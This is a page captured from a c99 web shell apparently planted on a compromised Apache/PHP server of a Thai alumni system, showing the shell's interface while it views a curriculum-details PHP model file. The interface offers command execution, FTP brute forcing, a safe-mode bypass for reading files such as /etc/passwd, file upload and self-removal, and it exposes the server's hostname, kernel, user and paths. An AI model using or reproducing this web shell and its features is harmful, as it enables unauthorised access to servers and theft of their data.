!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/stdalumni/application/models/stdalumni/   drwxr-xr-x
Free 50.9 GB of 127.8 GB (39.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     m_ea_curriculumdetails.php (3.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include_once("da_ea_CurriculumDetails.php");

class 
M_ea_curriculumdetails extends Da_ea_curriculumdetails {

    
/*
     * aOrderBy = array('fieldname' => 'ASC|DESC', ... )
     */
    
function get_all($aOrderBy=""){
        
$orderBy "";
        if ( 
is_array($aOrderBy) ) {
            
$orderBy.= "ORDER BY "
            foreach (
$aOrderBy as $key => $value) {
                
$orderBy.= "$key $value, ";
            }
            
$orderBy substr($orderBy0strlen($orderBy)-2);
        }
        
$sql "SELECT * 
                FROM $this->ea_dbname.ea_CurriculumDetails 
                $orderBy"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    public function 
qryCurd($condition="",$order="",$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);

        
$c1 substr($where0, -3);
        
$c2 substr($order0, -1);
        
$c3 substr($group0, -1);

        
$sql "SELECT *
                    FROM $this->ea_dbname.ea_CurriculumDetails
                    $c1
                    $c2
                    $c3"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    public function 
get_options($condition="",$order="",$group="",$optional='y') {
        
$query $this->qryCurd($condition,$order,$group);
        if(
$optional=='y'$opt[''] = '';
        foreach(
$query->result() as $row) {
            
$opt[$row->curId] = $row->curName;
        }
        return 
$opt;
    }

    public function 
qryMaxIdByCurAddTypeIsA() {
        
// เพิ่มหลักสูตรเองได้ โดยมี id เริ่มต้นที่ 9001
        
$sql "SELECT IFNULL(MAX(curId), 9000) + 1 AS curId
                FROM $this->ea_dbname.ea_CurriculumDetails
                WHERE curAddType='A'"
;
        
$query $this->db->query($sql);
        return 
$query->row()->curId;
    }

    public function 
qryCurdNotId($curName$curCcId$curEdgId$curElvId$curId) {
        
$sql "SELECT *
                FROM $this->ea_dbname.ea_CurriculumDetails
                WHERE curName=?
                AND curCcId=?
                AND curEdgId=?
                AND curElvId=?
                AND curId <> ?"
;
        
$query $this->db->query($sql,array($curName$curCcId$curEdgId$curElvId$curId));
        return 
$query;
    }

    public function 
get_optionsCurId() {
        
$sql "SELECT programId
                FROM $this->ea_dbname.AlumniMain
                GROUP BY programId"
;
        
$query $this->db->query($sql);

        
$opt[''] = "";
        if(
$query->num_rows()) {
            foreach(
$query->result() as $row) {
                
$this->curId $row->programId;
                
$this->get_by_key(TRUE);
                
$opt[$row->programId] = $this->curName;
            }
        }
        return 
$opt;
    }

    public function 
qryCurdJoinLev($condition="",$order="",$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);

        
$c1 substr($where0, -3);
        
$c2 substr($order0, -1);
        
$c3 substr($group0, -1);

        
$sql "SELECT *
                FROM $this->ea_dbname.ea_CurriculumDetails
                LEFT JOIN $this->ppc_dbname.Level ON curElvId=levelId
                $c1
                $c3
                $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    public function 
get_countAll() {
        
$sql "SELECT COUNT(curId) AS curId
                FROM $this->ea_dbname.ea_CurriculumDetails"
;
        
$query $this->db->query($sql);
        return 
$query->row()->curId;
    }
    
// add your functions here

// end class M_ea_curriculumdetails
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0094 ]--